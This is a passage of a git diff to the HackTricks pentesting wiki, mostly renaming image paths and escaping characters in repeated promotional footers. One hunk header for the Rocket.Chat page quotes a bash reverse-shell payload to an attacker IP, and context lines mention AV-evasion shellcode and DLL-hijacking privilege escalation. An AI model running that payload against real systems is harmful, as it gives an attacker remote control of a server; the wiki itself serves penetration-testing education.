-* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
+* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
 * **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
 
 </details>

network-services-pentesting/pentesting-web/rocket-chat.md

@@ -35,12 +35,12 @@ exec("bash -c 'bash -i >& /dev/tcp/10.10.14.4/9001 0>&1'")
 
 * Configure WebHook script:
 
-<figure><img src="../../.gitbook/assets/image (2) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../.gitbook/assets/image (2) (1) (1).png" alt=""><figcaption></figcaption></figure>
 
 * Save changes
 * Get the generated WebHook URL:
 
-<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
 
 * Call it with curl and you shuold receive the rev shell
 

pentesting-web/xss-cross-site-scripting/dom-invader.md

@@ -31,7 +31,7 @@ In the Burp's builtin browser go to the **Burp extension** and enable it:
 
 Noe refresh the page and in the **Dev Tools** you will find the **DOM Invader tab:**
 
-<figure><img src="../../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
 
 ### Inject a Canary
 

todo/radio-hacking/flipper-zero/fz-ibutton.md

@@ -7,7 +7,7 @@
 * Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
 * Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
 * Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
+* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
 * **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
 
 </details>
@@ -24,7 +24,7 @@ For more info about what is an iButton check:
 
 The **blue** part of the following imageis how you would need to **put the real iButton** so the Flipper can **read it.** The **green** part is how you need to **touch the reader** with the Flipper zero to **correctly emulate an iButton**.
 
-<figure><img src="../../../.gitbook/assets/image (20).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../../.gitbook/assets/image (20) (1).png" alt=""><figcaption></figcaption></figure>
 
 ## Actions
 
@@ -57,7 +57,7 @@ If you cannot make the expected contacts of the Flipper Zero touch the reader yo
 * Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
 * Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
 * Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
+* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
 * **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
 
 </details>

todo/radio-hacking/ibutton.md

@@ -7,7 +7,7 @@
 * Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
 * Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
 * Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
+* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
 * **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
 
 </details>
@@ -16,7 +16,7 @@
 
 iButton is a generic name for an electronic identification key packed in a **coin-shaped metal container**. It is also called **Dallas Touch** Memory or contact memory. Even though it is often wrongly referred to as a “magnetic” key, there is **nothing magnetic** in it. In fact, a full-fledged **microchip** operating on a digital protocol is hidden inside.
 
-<figure><img src="../../.gitbook/assets/image (19).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../.gitbook/assets/image (19) (1).png" alt=""><figcaption></figcaption></figure>
 
 ### What is iButton? <a href="#what-is-ibutton" id="what-is-ibutton"></a>
 
@@ -30,7 +30,7 @@ When the key reaches the reader, the **contacts come to touch** and the key is p
 
 ### **1-Wire protocol** <a href="#1-wire-protocol" id="1-wire-protocol"></a>
 
-Dallas keys exchange data using the 1-wire protocol.  With only one contact for data transfer (!!) in both directions, from master to slave and vice versa. The 1-wire protocol works according to the Master-Slave model. In this topology, the Master always initiates communication and the Slave follows its instructions.
+Dallas keys exchange data using the 1-wire protocol. With only one contact for data transfer (!!) in both directions, from master to slave and vice versa. The 1-wire protocol works according to the Master-Slave model. In this topology, the Master always initiates communication and the Slave follows its instructions.
 
 When the key (Slave) contacts the intercom (Master), the chip inside the key turns on, powered by the intercom, and the key is initialized. Following that the intercom requests the key ID. Next, we will look up this process in more detail.
 
@@ -59,7 +59,7 @@ iButtons can be attacked with Flipper Zero:
 * Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
 * Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
 * Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
+* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
 * **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
 
 </details>

todo/radio-hacking/infrared.md

@@ -7,7 +7,7 @@
 * Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
 * Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
 * Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
+* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
 * **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
 
 </details>
@@ -32,7 +32,7 @@ IR protocols differ in 3 factors:
 
 Bits are encoded by modulating the duration of the space between pulses. The width of the pulse itself is constant.
 
-<figure><img src="../../.gitbook/assets/image (16).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../.gitbook/assets/image (16) (3).png" alt=""><figcaption></figcaption></figure>
 
 **2. Pulse Width Encoding**
 
@@ -96,7 +96,7 @@ You can attack Infrared with Flipper Zero:
 * Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
 * Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
 * Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
+* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
 * **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
 
 </details>

windows-hardening/av-bypass.md

@@ -128,7 +128,7 @@ These are the results:
 
 Both our shellcode (encoded with [SGN](https://github.com/EgeBalci/sgn)) and the proxy DLL have a 0/26 Detection rate in [antiscan.me](https://antiscan.me)! I would call that a success.
 
-<figure><img src="../.gitbook/assets/image (11).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../.gitbook/assets/image (11) (3).png" alt=""><figcaption></figcaption></figure>
 
 {% hint style="info" %}
 I **highly recommend** you watch [S3cur3Th1sSh1t's twitch VOD](https://www.twitch.tv/videos/1644171543) about DLL Sideloading and also [ippsec's video](https://www.youtube.com/watch?v=3eROsG\_WNpE) to learn more about what we've discussed more in-depth.
@@ -251,7 +251,7 @@ SmartScreen mainly works with a reputation-based approach, meaning that uncommon
 
 **MoTW** (Mark of The Web) is an [NTFS Alternate Data Stream](https://en.wikipedia.org/wiki/NTFS#Alternate\_data\_stream\_\(ADS\)) with the name of Zone.Identifier which is automatically created upon download files from the internet, along with the URL it was downloaded from.
 
-<figure><img src="../.gitbook/assets/image (13).png" alt=""><figcaption><p>Checking the Zone.Identifier ADS for a file downloaded from the internet.</p></figcaption></figure>
+<figure><img src="../.gitbook/assets/image (13) (3).png" alt=""><figcaption><p>Checking the Zone.Identifier ADS for a file downloaded from the internet.</p></figcaption></figure>
 
 {% hint style="info" %}
 It's important to note that executables signed with a **trusted** signing certificate **won't trigger SmartScreen**.

windows-hardening/windows-local-privilege-escalation/dll-hijacking/writable-sys-path-+dll-hijacking-privesc.md

@@ -7,7 +7,7 @@
 * Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
 * Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
 * Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
+* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
 * **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
 
 </details>
@@ -51,13 +51,13 @@ if ($envPath -notlike "*$folderPath*") {
 }
 ```
 
-* Launch **`procmon`**  and go to **`Options`** --> **`Enable boot logging`** and press **`OK`** in the prompt.
+* Launch **`procmon`** and go to **`Options`** --> **`Enable boot logging`** and press **`OK`** in the prompt.
 * Then, **reboot**. When the computer is restarted **`procmon`** will start **recording** events asap.
 * Once **Windows** is **started execute `procmon`** again, it'll tell you that it has been running and will **ask you if you want to store** the events in a file. Say **yes** and **store the events in a file**.
 * **After** the **file** is **generated**, **close** the opened **`procmon`** window and **open the events file**.
 * Add these **filters** and you will find all the Dlls that some **proccess tried to load** from the writable System Path folder:
 
-<figure><img src="../../../.gitbook/assets/image (18).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../../.gitbook/assets/image (18) (3).png" alt=""><figcaption></figcaption></figure>
 
 ### Missed Dlls
 
@@ -99,7 +99,7 @@ When the service is re-started, the **dll should be loaded and executed** (you c
 * Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
 * Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
 * Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
+* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
 * **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
 
 </details>